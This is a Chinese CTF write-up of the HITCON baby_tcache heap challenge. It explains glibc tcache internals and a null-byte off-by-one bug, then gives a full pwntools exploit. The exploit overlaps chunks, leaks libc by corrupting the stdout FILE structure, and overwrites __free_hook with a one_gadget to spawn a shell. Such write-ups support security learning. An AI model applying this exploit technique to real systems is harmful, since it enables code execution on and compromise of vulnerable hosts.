hitconctf-baby_tcache

baby_tcache

这是一道tcache的题目,也是我第一次遇到tcache相关的题,而且发现最近很多比赛都出现了这类题,这道题里面信息泄露的思路也是第一次遇见,于是就记录一下。

点我下载题目

tcache介绍

tcache是在libc2.6开始引入的一种加速堆分配的缓存结构,结构中存在64个链表。tcache的优先级很高,在malloc和free函数调用的时候会先于其他的bin来处理,每个tcache链表的长度是有限制的。当tcache链表满时,free操作和原来的free操作基本一致;当tcache链表为空时,malloc操作和原来的malloc操作基本一致。chunk大小为0x410以下的均会进入到tcache来处理。

相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
# define TCACHE_MAX_BINS		64
# define TCACHE_FILL_COUNT 7

typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

tcache相关的就是上面这两个结构体,其中tcache_entry结构体中的值是一个指向tcache_entry结构体的指针,是一个单链表结构。

tcache_perthread_struct结构体是用来管理tcache链表的。其中的count是一个字节数组(共64个字节,对应64个tcache链表),其中每一个字节表示的是tcache每一个链表中有多少个元素。entries是一个指针数组(共64个元素,对应64个tcache链表),每一个指针指向的是对应tcache_entry结构体的地址。

看了上面的描述,只知道tcache_entry是一个只有一个字段的结构体,那它到底是什么呢?看了源码发现它就是传统chunk的fd字段,该链表与fastbin链表的异同点在于:

  • tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针
  • tcachebin中的链表指针指向的下一个chunk的fd字段,fastbin中的链表指针指向的是下一个chunk的prev_size字段

chunk放入tcache

将chunk放入tcache链表的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
//获取chunk的fd字段地址,将其转换为tcache_entry结构体
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
//将当前tcache链表头的值放入到e的next字段
e->next = tcache->entries[tc_idx];
//将e放入tcache链表头
tcache->entries[tc_idx] = e;
//将tcache链表计数器的值增一
++(tcache->counts[tc_idx]);
}

chunk放入tcache的情形:

  • _int_free中,最开始就先检查chunk的size是否落在了tcache的范围内,且对应的tcache未满,将其放入tcache中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
      size = chunksize (p);

    /* Little security check which won't hurt performance: the
    allocator never wrapps around at the end of the address space.
    Therefore we can exclude some size values which might appear
    here by accident or by "design" from some intruder. */
    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
    || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
    /* We know that each chunk is at least MINSIZE bytes in size or a
    multiple of MALLOC_ALIGNMENT. */
    if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

    check_inuse_chunk(av, p);

    #if USE_TCACHE
    {
    size_t tc_idx = csize2tidx (size);

    if (tcache
    && tc_idx < mp_.tcache_bins
    && tcache->counts[tc_idx] < mp_.tcache_count)
    {
    tcache_put (p, tc_idx);
    return;
    }
    }
    #endif
  • _int_malloc中,如果从fastbin中取出了一个块,那么会把剩余的块放入tcache中直至填满tcache(smallbin中也是一样):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
      if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
    idx = fastbin_index (nb);
    mfastbinptr *fb = &fastbin (av, idx);
    mchunkptr pp;
    victim = *fb;

    if (victim != NULL)
    {
    if (SINGLE_THREAD_P)
    //这里会将fastbin的链表头部值更新为下一个chunk
    *fb = victim->fd;
    else
    REMOVE_FB (fb, pp, victim);
    if (__glibc_likely (victim != NULL))
    {
    size_t victim_idx = fastbin_index (chunksize (victim));
    if (__builtin_expect (victim_idx != idx, 0))
    malloc_printerr ("malloc(): memory corruption (fast)");
    check_remalloced_chunk (av, victim, nb);
    #if USE_TCACHE
    /* While we're here, if we see other chunks of the same size,
    stash them in the tcache. */
    size_t tc_idx = csize2tidx (nb);
    //如果tcache不为空,且chunk的size在合适的范围内
    if (tcache && tc_idx < mp_.tcache_bins)
    {
    mchunkptr tc_victim;

    /* While bin not empty and tcache not full, copy chunks. */
    //当tcaceh链表未满,且fastbin链表不空时,将chunk放入tcache中
    while (tcache->counts[tc_idx] < mp_.tcache_count
    && (tc_victim = *fb) != NULL)
    {
    if (SINGLE_THREAD_P)
    *fb = tc_victim->fd;
    else
    {
    REMOVE_FB (fb, pp, tc_victim);
    if (__glibc_unlikely (tc_victim == NULL))
    break;
    }
    tcache_put (tc_victim, tc_idx);
    }
    }
  • _int_malloc中,如果进入了unsortedbin,且chunk的size和当前申请的大小精确匹配,那么在tcache未满的情况下会将其放入到tcachebin中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
              //如果大小精确匹配
    if (size == nb)
    {
    set_inuse_bit_at_offset (victim, size);
    if (av != &main_arena)
    set_non_main_arena (victim);
    #if USE_TCACHE
    /* Fill cache first, return to user only if cache fills.
    We may return one of these chunks later. */
    //在tcache未满的情况下会先将其放入tcache中,否则直接返回该chunk
    if (tcache_nb
    && tcache->counts[tc_idx] < mp_.tcache_count)
    {
    tcache_put (victim, tc_idx);
    return_cached = 1;
    continue;
    }
    else
    {
    #endif
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
    #if USE_TCACHE
    }
    #endif
    }

从tcache中获取chunk

从tcache中获取chunk的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
//根据索引找到tcache链表的头指针
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
//将chunk取出
tcache->entries[tc_idx] = e->next;
//tcache计数器减一
--(tcache->counts[tc_idx]);
return (void *) e;
}

从tcache获取chunk的情形:

  • 在调用malloc_hook之后,_int_malloc之前,如果tcache中有合适的chunk,那么就从tcache中取出:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
      if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
    #if USE_TCACHE
    /* int_free also calls request2size, be careful to not pad twice. */
    size_t tbytes;
    checked_request2size (bytes, tbytes);
    size_t tc_idx = csize2tidx (tbytes);

    MAYBE_INIT_TCACHE ();

    DIAG_PUSH_NEEDS_COMMENT;
    if (tc_idx < mp_.tcache_bins
    /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
    && tcache
    && tcache->entries[tc_idx] != NULL)
    {
    return tcache_get (tc_idx);
    }
    DIAG_POP_NEEDS_COMMENT;
    #endif
  • 遍历完unsorted bin后,若tcachebin中有对应大小的chunk,从tcache中取出:

    1
    2
    3
    4
    5
    6
    7
    #if USE_TCACHE
    /* If all the small chunks we found ended up cached, return one now. */
    if (return_cached)
    {
    return tcache_get (tc_idx);
    }
    #endif
  • 遍历unsorted bin时,大小不匹配的chunk会被放入对应的bins,若达到tcache_unsorted_limit限制且之前已经存入过chunk则在此时取出(默认无限制):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #if USE_TCACHE
    /* If we've processed as many chunks as we're allowed while
    filling the cache, return one of the cached ones. */
    ++tcache_unsorted_count;
    if (return_cached
    && mp_.tcache_unsorted_limit > 0
    && tcache_unsorted_count > mp_.tcache_unsorted_limit)
    {
    return tcache_get (tc_idx);
    }
    #endif

baby_tcache程序分析

程序一共提供了两个功能:分配一个堆块、释放一个堆块。

  • 分配堆块的逻辑如下,最多可以分配10个chunk,每个chunk的大小可以控制且做大不超过0x2000。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    int add()
    {
    _QWORD *v0; // rax@7
    signed int i; // [sp+Ch] [bp-14h]@1
    _BYTE *v3; // [sp+10h] [bp-10h]@5
    unsigned __int64 size; // [sp+18h] [bp-8h]@3

    for ( i = 0; ; ++i )
    {
    if ( i > 9 )
    {
    LODWORD(v0) = puts(":(");
    return (unsigned __int64)v0;
    }
    if ( !bss_contentptr_202060[i] )
    break;
    }
    printf("Size:");
    size = choose();
    if ( size > 0x2000 )
    exit(-2);
    v3 = malloc(size);
    if ( !v3 )
    exit(-1);
    printf("Data:");
    read_data((__int64)v3, size);
    v3[size] = 0;
    bss_contentptr_202060[i] = v3;
    v0 = bss_sizeptr_2020c0;
    bss_sizeptr_2020c0[i] = size;
    return (unsigned __int64)v0;
    }
  • 释放堆块的逻辑如下,首先会根据分配时的size来将chunk的内存置为0xDA,接着在free掉该chunk,并将bss上的指针数组置为NULL。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    int delete()
    {
    unsigned __int64 v1; // [sp+8h] [bp-8h]@1

    printf("Index:");
    v1 = choose();
    if ( v1 > 9 )
    exit(-3);
    if ( bss_contentptr_202060[v1] )
    {
    memset(bss_contentptr_202060[v1], 218, bss_sizeptr_2020c0[v1]);
    free(bss_contentptr_202060[v1]);
    bss_contentptr_202060[v1] = 0LL;
    bss_sizeptr_2020c0[v1] = 0LL;
    }
    return puts(":)");
    }

漏洞及利用思路

程序漏洞

程序的漏洞在于申请chunk部分,在读入了数据之后的这个操作:
v3[size] = 0;空字节off-by-one

利用思路

我们能够申请一定范围内任意内存的大小,且最多能申请10个chunk,而且程序存在空字节off-by-one,最重要的是这里的libc版本是2.27,该版本中是默认开启了tcache的,所以利用肯定是基于tcache对chunk的弱检查来进行。

利用off-by-one可以修改下一个chunk的标志位,在设置一个合适的prev_size,就可以造成chunk_overlapping,随后就可以释放一个chunk到tcache中,并通过从unsortedbin中分割chunk达到往tcache中写入unsortedbin地址的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 chunk 0   # size = 0x500  => Target for backward coalescing of chunk 5. This will contain unsortedbin pointers
----------
chunk 1 # size = 0x40 --+
---------- |
chunk 2 # size = 0x50 |==> Random tcache chunks
---------- |
chunk 3 # size = 0x60 |
---------- --+
chunk 4 # size = 0x70 => Use this for null byte overwrite of next size
----------
chunk 5 # size = 0x500 => overwrite PREV_IN_USE of this chunk
----------
chunk 6 # size = 0x80 => for preventing merge with topchunk
----------

实现上述目的具体做法如下:

  • 首先分配上面结构的内存块;
  • 释放chunk4后重新申请大小为0x68的内存,这里可以覆盖掉chunk5的prev_inuse标志,且设置chunk5的prev_size为0x660;
  • 释放chunk5,由于chunk5的大小不在tcache的处理范围之内,所以会按照正常chunk释放的流程来处理,这里会和前面的chunk0、chunk1、chunk2、chunk3、chunk4合并为一个更大的chunk,此时chunk0中的fd、bk字段已经存放了unsortedbin的地址;
  • 释放chunk2,chunk2会被放入tcache;在分配一个大小为0x540的chunk,此时unsortedbin的地址会被写入到chunk2的fd、bk字段中;再分配一个大小大于0x410的chunk,这时仍然会从unsortedbin中分割chunk,且我们可以对fd字段进行部分写;

接下来就是信息泄露了,程序中没有提供任何的输出功能,但是这里的题解中仍然给出了泄露信息的方法(膜出题的师傅):

由于我们已经可以通过部分写来修改chunk2的fd指针,进而分配到libc中的某个地址处。这里是分配到stdout结构体所在的内存,然后修改其中的flag字段、_IO_write_base等字段,来让接下来的puts函数输出部分libc中的地址,进而造成信息泄露。

下面对puts函数的源码进行简单的分析,了解为什么修改这些字段后就能造成信息泄露了?

puts函数内部会调用_IO_new_file_xsputn,而该函数最后又会调用_IO_OVERFLOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// ./libio/iopopen.c 这里是jump表的初始化,xsputn对应的是_IO_new_file_xsputn
//overflow 对应的是_IO_new_file_overflow
static const struct _IO_jump_t _IO_proc_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, _IO_new_file_overflow),
JUMP_INIT(underflow, _IO_new_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_new_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_new_proc_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

//这里是puts函数的调用流程
//首先调用了_IO_sputn
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
//这里的xsputn对应的就是_IO_new_file_xsputn
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
//jump2会调用传进来的FP指针函数表中名为FUNC的函数
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

函数_IO_new_file_overflow最后又会调用_IO_do_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
...
...
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
}

_IO_do_write函数最后会调用new_do_write,并且参数都是一样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

为了顺利执行到_IO_SYSWRITE,我们需要设置_flag对应的标志位:

1
2
3
4
_flags = 0xfbad0000  // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

所以我们只需要将_IO_read_ptr, _IO_read_end, _IO_read_base设置为0,并覆盖_IO_write_base的最低字节为0,这样就会造成信息泄露:

利用代码

这里有一个小坑就是在覆盖stdout来信息泄露时申请的chunk大小不能大于0x3f,因为程序会自动将v3[size]设置为0,如果这里的size为0x40,那么会将stdout+0x40处的字节赋值为0x0,导致程序崩溃!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
context.endian= 'little'
context.terminal = ['tmux', 'splitw', '-h']

debug=1

if debug:
p = process('./baby_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('47.106.243.235',8888)
libc = ELF('./libc.so.6')

r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(size,content):
sla('choice: ',str(1))
sla('Size:',str(size))
sa('Data:',content)

def delete(index):
sla('choice: ',str(2))
sla('Index:',str(index))

def pwn():
add(0x4f0,'e3pem\n') #0
add(0x30,'e3pem\n') #1
add(0x40,'e3pem\n') #2
add(0x50,'e3pem\n') #3
add(0x60,'e3pem\n') #4
add(0x4f0,'e3pem\n') #5
add(0x70,'e3pem\n') #6
delete(4)
# make prev_size to 0x660
payload = 'a'*0x60+p64(0x660)
add(0x68,payload) #4

gdb.attach(p,'b *0x555555554eaa')
delete(2) #tcache
delete(0)
delete(5)

# get service from unsorted bin, write unsorted bin addr to chunk2
add(0x530,'e3pem\n') #0
# partial overwrite, if close system's random, payload should be '\x60\x07\xdd'. others ,should be '\x60\x07'
add(0x610,'\x60\x07\xdd') #2
add(0x40,'e3pem\n')#5
# get chunk located in stdout struct
payload = p64(0xfbad1800)+p64(0x0)*3+'\x00'
add(0x3f,payload) #7
# leak libc addr
rn(8)
libc_base = u64(rn(8))-(0x7ffff7dd18b0-0x7ffff79e4000)
print 'libc_base :'+hex(libc_base)

# add chunk0 make chunk1's fd to __free_hook
delete(1)
delete(0)
payload = '\x00'*0x4f0+p64(0x0)+p64(0x40)+p64(libc_base+libc.symbols['__free_hook'])
add(0x530,payload)#0
add(0x30,'aaaa\n')
# overwrite __free_hook to one_gadget
add(0x30,p64(libc_base+0x4f322))
sla('choice: ',str(2))
sla('Index:',str(0))
p.interactive()

if __name__ == '__main__':
pwn()

# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

参考链接:

https://vigneshsrao.github.io/babytcache/

https://www.anquanke.com/post/id/104760